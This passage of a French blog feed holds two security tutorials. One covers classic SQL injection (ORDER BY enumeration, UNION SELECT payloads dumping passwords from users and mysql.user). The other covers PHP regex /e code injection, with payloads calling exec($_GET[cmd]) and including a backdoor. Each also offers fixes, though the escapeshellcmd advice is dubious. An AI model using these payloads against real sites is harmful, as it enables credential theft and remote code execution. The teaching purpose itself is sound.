$data = mysql_fetch_object($sql);
echo &quot;
&lt;fieldset&gt;
&lt;legend&gt;Profile de &quot;.$data-&gt;username.&quot;&lt;/legend&gt;
&lt;p&gt;Nom d&#039;utilisateur : &quot;.$data-&gt;username.&quot;&lt;/p&gt;
&lt;p&gt;Nom et prénom : &quot;.$data-&gt;nom.&quot; &quot; .$data-&gt;prenom .&quot;&lt;/p&gt;
&lt;p&gt;Adresse email : &quot;.$data-&gt;email.&quot;&lt;/p&gt;
&lt;/fieldset&gt;&quot;;
}
</pre>
<p>Sans connaitre le code qui s&#8217;exécute derrière un attaquant peut détecter la présence d&#8217;une injection sql en essayant d&#8217;interrompre la requête en accèdent à la page : profile.php?id=1&#8242;, le fameux message d&#8217;erreur s&#8217;affiche, l&#8217;attaquant passe à l&#8217;étape suivante, qui est <i>l&#8217;identification de nombre des champs</i> utilisés dans le SELECT </p>
<p>La technique la plus courante est l&#8217;utilisation de la clause &laquo;&nbsp;ORDER BY&nbsp;&raquo;, en incrémentant l&#8217;indice petit à petit jusqu&#8217;à ce que la page affiche une erreur</p>
<ul>
<li>profile.php?id=1 order by 1 [OK]</li>
<li>profile.php?id=2 order by 2 [OK]</li>
<li>profile.php?id=3 order by 3 [OK]</li>
<li>profile.php?id=4 order by 4 [OK]</li>
<li>proile.php?id=5 order by 5 [ERREUR]</li>
</ul>
<p>A ce stade là, l&#8217;attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!</p>
<blockquote><p>profile.php?id=-1 UNION SELECT 1,2,3,4&#8211;</p></blockquote>
<p>là on peut bien voir les chiffres s&#8217;afficher au lieu des données vu que l&#8217;id -1 n&#8217;existe pas dans la base, du coup les champs sélectionné dans l&#8217;UNOIN seront retourné (1,2,3,4), à la place de ces derniers l&#8217;attaquant peut sélectionner des données de n&#8217;importe quelle table sur laquelle l&#8217;utilisateur sql courant a les droits</p>
<p>Exemple : </p>
<blockquote><p>
profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users<br />
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user
</p></blockquote>
<p>Il est facile pour un attaquant de deviner le nom des tables, d&#8217;ailleurs il existe des listes de tables sensibles susceptibles d&#8217;exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d&#8217;injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!</p>
<p>Il est également possible d&#8217;injecter des données depuis les autres bases sur-lesquelles l&#8217;utilisateur mysql courant a des droits!
</p>
<p><strong>Comment se protéger?</strong></p>
<p>
Maintenant que vous avez conscience du danger qu&#8217;une injection SQL classique pourrait engendrer lorsqu&#8217;elle est exploitée voici les bonnes pratiques pour sécuriser son application : </p>
<p>Pour notre cas par exemple : la solution est de filtrer l&#8217;input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :</p>
<pre class="brush: php">
$user_id = intval($_GET[&#039;id&#039;]);
</pre>
</p>
<p>et voilà le tour est joué :) , s&#8217;il s&#8217;agissait d&#8217;un nombre à virgule flottante on utilisera <a href="http://php.net/floatval" target="_blank">floatval()</a> et ainsi de suite..</p>
<p>Pour les chaines de caractères, pensez toujours à utiliser <a href="http://php.net/mysql_real_escape_string" target="_blank">mysql_real_escape_string</a>, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c&#8217;est bien le moment ;)</p>
<p>Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J&#8217;exposerai des méthodes d&#8217;exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d&#8217;attaques!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&d=http://twitter.com/home?status=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&d=http://www.facebook.com/share.php?u=TARGET%26t=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;annotation=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;notes=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;bodytext=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&d=http://ping.fm/ref/?link=TARGET%26title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29%26body=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&d=mailto:?subject=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;selection=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;submitHeadline=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;submitSummary=Hello%2C%0D%0AAujourd%27hui%20je%20vous%20parlerai%20d%27un%20vecteur%20d%27attaque%20tr%C3%A8s%20r%C3%A9pondu%20sur%20internet%2C%20c%27est%20SQL%20Injection%2C%20le%20sujet%20est%20tr%C3%A8s%20riche%2C%20j%27ai%20donc%20d%C3%A9cid%C3%A9%20de%20le%20r%C3%A9partir%20en%20trois%20parties%3A%0D%0A%0D%0A%20Les%20injections%20SQL%20basiques%0D%0ASQL%20Injection%20avanc%C3%A9e%0D%0ABlin&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=%5BTutoriel%5D%20SQL%20Injection%20%E2%80%93%20Les%20classiques%20%28partie1%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Ftutoriel-sql-injection-les-classiques.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Injection de code dans une expressions rationnelle (REGEX Injection)</title>
		<link>http://www.mcherifi.org/hacking/regex-code-injection.html</link>
		<comments>http://www.mcherifi.org/hacking/regex-code-injection.html#comments</comments>
		<pubDate>Sun, 18 Oct 2009 16:42:27 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[injection expression regulière]]></category>
		<category><![CDATA[regex injection]]></category>
		<category><![CDATA[securité expression regulière]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=256</guid>
		<description><![CDATA[TweetSalut à tous!
Aujourd&#8217;hui je vous parlerai de la sécurité des expressions régulières, appelées aussi expressions rationnelles, ou tout simplement REGEX pour les intimes! Si vous en usé dans vos codes, ce billet est pour vous!
Les expressions rationnelles permettent de manipuler une chaine de caractère de façon très puissante, elles sont souvent utilisées pour la validation [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/regex-code-injection.html" data-text="Injection de code dans une expressions rationnelle (REGEX Injection)" data-count="horizontal">Tweet</a><p><img src="http://www.mcherifi.org/wp-content/uploads/2009/10/regexinj2.png" alt="Regular expression injection" title="Regular expression code injection" width="148" height="116" class="alignleft size-full wp-image-321" />Salut à tous!</p>
<p>Aujourd&#8217;hui je vous parlerai de la sécurité des expressions régulières, appelées aussi expressions rationnelles, ou tout simplement REGEX pour les intimes! Si vous en usé dans vos codes, ce billet est pour vous!</p>
<p>Les <a title="Expression régulière" href="http://fr.wikipedia.org/wiki/Expression_rationnelle" target="_blank">expressions rationnelles</a> permettent de manipuler une chaine de caractère de façon très puissante, elles sont souvent utilisées pour la validation des données, le parsing du bbcode dans les forums, également dans les commandes unix comme <em>grep</em> et <em>sed</em>, mais ce n&#8217;est pas notre sujet aujourd&#8217;hui!</p>
<p><strong>Où est le problème?</strong></p>
<p>Dans une expression rationnelle, il est possible d&#8217;utiliser un modificateur &laquo;&nbsp;e&nbsp;&raquo; qui permet d&#8217;évaluer le code contenu dans la chaine de remplacement, donc exécuter du code php!</p>
<p>Dans le language Perl ainsi que dans tous les technologies qui utilisent la librairie PCRE (Perl-compatible regular expressions), y compris PHP, ces derniers supportent l&#8217;utilisation de ce modificateur, un attaquant malveillant peut injecter du code si l&#8217;entrée n&#8217;est pas correctement filtrée!</p>
<p><strong>Exemple : </strong></p>
<p>Voici un code qui parse une chaine de caractère et remplace tous ce qui existe entre [b] et [/b] par &lt;strong&gt;CHAINE&lt;/strong&gt;, on le mettant en majuscule!</p>
<pre class="brush: php">
$nom = &quot;toto&quot;;
$chaine = &quot;Hello my name is [b]&quot;.$nom.&quot;[/b]&quot;;
$pattern = &quot;#\[b\](.*)\[/b\]#e&quot; ;
$replacement = &quot;&#039;&lt;strong&gt;&#039;.strtoupper(&#039;$1&#039;).&#039;&lt;/strong&gt;&#039;&quot;;
$display = preg_replace($pattern , $replacement, $chaine);
echo $display  ;
</pre>
<p>Que se passera t&#8217;il si toto s&#8217;appelle ainsi :</p>
<ul>
<li>&#8216;.phpinfo().&#8217;</li>
<li>&#8216;.exec(\$_GET[cmd]).&#8217;</li>
<li>&#8216;.include($_GET[backdoor]).&#8217;</li>
</ul>
<p>Dans toutes les versions <strong>PHP &lt; 5.0.5</strong> La chaine de remplacement deviendra : &lt;strong&gt;&#8217;.strtoupper(&#8216;\\1<span style="color: #ff0000;">&#8216;.phpinfo().&#8217;</span>&#8216;).&#8217;&nbsp;&raquo;&lt;/strong&gt; est le code php sera exécuté ! du coup, un attaquant peut injecter un code malveillant !</p>
<p><strong>Comment se protéger?</strong></p>
<p>Si jamais vous êtes amenés à utiliser des expressions rationnelles avec le modificateur &laquo;&nbsp;e&nbsp;&raquo;, pensez à filtrer vos variables en utilisant la fonction <a href="http://www.php.net/manual/en/function.escapeshellcmd.php" target="_blank">escapeshellcmd</a>, d&#8217;où notre code deviendra :</p>
<pre class="brush: php">
$nom = &quot;simo.&#039;phpinfo().&#039;&quot;; // test d&#039;injection
$chaine = &quot;Hello my name is [b]&quot;.$nom.&quot;[/b]&quot;;
$pattern = &quot;#\[b\](.*)\[/b\]#e&quot; ;
$replacement = &quot;&#039;&lt;strong&gt;&#039;.strtoupper(escapeshellcmd(&#039;$1&#039;)).&#039;&lt;/strong&gt;&#039;&quot;;
$display = preg_replace($pattern , $replacement, $chaine);
echo $display  ;
</pre>
<p>Sinon Le plus simple est d&#8217;utiliser une version récente de PHP &gt; 5.0.5 est le tour est joué ;)</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&d=http://twitter.com/home?status=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;annotation=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;notes=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;bodytext=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
